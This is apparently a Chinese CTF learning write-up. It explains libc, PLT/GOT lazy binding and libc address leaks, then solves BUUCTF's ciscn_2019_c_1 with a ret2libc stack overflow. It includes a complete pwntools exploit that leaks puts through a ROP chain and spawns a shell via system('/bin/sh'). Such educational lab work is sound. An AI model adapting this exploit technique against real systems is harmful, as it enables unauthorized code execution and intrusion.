一、libc
libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样,libc只是一种函数库标准,每个操作系统都会按照该标准对标准库进行具体实现
通常我们所说的libc是特指某个操作系统的标准库,比如我们在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。类Unix操作系统通常将libc库作为操作系统的一部分 (被视为操作系统与用户程序之间的接口)
libc库不仅实现标准C语言中的函数,而且也包含自己所属的函数接口。比如在glibc库中,既包含标准C中的fopen(),又包含类Unix系统中的open()。在类Unix操作系统中,如果缺失了标准库,那么整个操作系统将不能正常运转。
而Windows系统并不将libc库作为整个核心操作系统的一部分。通常每个编译器都附属自己的libc库,这些libc既可以静态编译到程序中,又可以动态编译到程序中。也就是说应用程序依赖编译器而不是操作系统。
简单理解为libc为程序语言提供函数库,
二、延迟绑定技术
简单理解为,一个外部函数只有在被执行时才会绑定真实地址,
plt表:通过这个表可以调转到got表。
如上为puts的plt的代码,由三个指令组成
第一条,跳转到got表的puts位置寻找地址,got位置如没有地址,则数据为plt第二条指令地址
第二条,压栈,0x1为got表下标
第三条,跳转到plt[0]位置,这里就是将外部函数进行绑定,即将地址存入got表和执行函数
got表:如果外部函数没被执行过,则jmp到plt第二条指令,如果时已经被调用过的,则直接jmp到函数入口
三、libc泄露
libc库里的函数之间得到地址时相对稳定的,我们只要指导一个函数的地址就能找到其他函数的地址,即我们只要找到libcde的基地址,就能指导其他的地址,
libcbase=funA_addr-libc.dump(funA)
funB_addr=libcbase+libc.dump(funB)
利用条件:
不同的libc版本里面的项会由一定的差异,所有我们必须知道所使用的libc版本,
知道一个函数的真实地址
由分页机制,一页大都为4K,则libc里的项地址低12位固定,我们就可以用这12位来区分libc版本,
这里可以用开源的 LibcSearcher 来根据地址来确定版本
四、靶场练习
BUUCTF 上的pwn ciscn_2019_c_1
简单说明一下,
只开了NX和部分RELRO
partial PELRO:一些段(包括.dynamic,.got等)在初始化后会被标记为只读。
这里有个gets(s)没有做输入限制,则我们可以做溢出攻击,下面时对输入数据做简单加密,但有个strlen() 我们可以\0绕过,即输入\0aaaaaaa,我们后面的aaa就不会被加密。
在题目中没有找到可以直接用的system 和sh之类的字眼,无法直接利用,那么我们可以用libc泄露来执行libc里的system函数,
我们可可以看到gets上面有个puts我们就可以利用已经被调用过的puts函数来泄露libc版本,
如上如,我们用数据覆盖到返回地址处,在返回地址上用pop rdi; ret代码段的地址填充,即将下面puts_got数据pop到rdi寄存器中作为下面puts_plt的参数,返回地址填充main是为了使程序回到开始,让我们再次利用。
说明:pop rdi;lret为特点指令段,该指令段里有pop rdi;即将栈顶数据pop到rdi中,还有ret指令,以栈顶数据返回我们想要的地方,可以用ROPgadget来寻找这样的代码段,如:
libc泄露代码:
p=remote("node4.buuoj.cn",28330) //连接
elf=ELF('./ciscn_2019_c_1') //载入下载的ELF文件
puts_plt=elf.plt["puts"] //获取puts@plt 即puts的plt地址
puts_got=elf.got["puts"] //获取puts@got 即puts的got地址
main=0x400b28 //主函数入口地址
pop_rdi_addr=0x400c83 //gadget代码段地址
p.recvuntil("!\n") //这里就是当出现实现菜单选择
p.sendline("1")
p.recvuntil("ed\n")
//构造数据 距离返回地址0x58 这里的-1是因为前面的\0占了一字节
payload1=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload1)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
//获取puts输入的地址
puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts_addr) //用LibcSearcher匹配libc版本,可能出来多个版本,我们一个一个尝试即可
libcbase=puts_addr-libc.dump("puts") //计算libc基地址
system_addr=libcbase+libc.dump("system") //获取system()地址
binsh_addr=libcbase+libc.dump("str_bin_sh") //获取bin/sh字符地址
下面就是写入数据执行system(bin/sh)
这里要填充,是因为要堆栈平衡,目前我还不是很懂,
代码:
p.recvuntil("!\n") //页面交互
p.sendline("1")
p.recvuntil("ed\n")
ret_addr=0x4006b9 //同样用ROPgadget获取一个ret地址来填充
payload2=b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()
完成exp
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",28330)
elf=ELF('./ciscn_2019_c_1')
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=0x400b28
pop_rdi_addr=0x400c83
p.recvuntil("!\n")
p.sendline("1")
p.recvuntil("ed\n")
payload1=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload1)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump("puts")
puts=libcbase+libc.dump("puts")
print(libc.dump("puts"))
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
p.recvuntil("!\n")
p.sendline("1")
p.recvuntil("ed\n")
ret_addr=0x4006b9
payload2=b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()
执行如下:
五、总结
知识:动态绑定、延时绑定、plt表、got表、gadgets、堆栈平衡问题、libc库、栈帧移动。
工具:LibcSearcher、ROPgadget
总之花了很久的时间才理清楚基本逻辑,以前没基本没怎么接触pwn,总之感觉逆向这给方向确实有点打老阔,加油!骚年。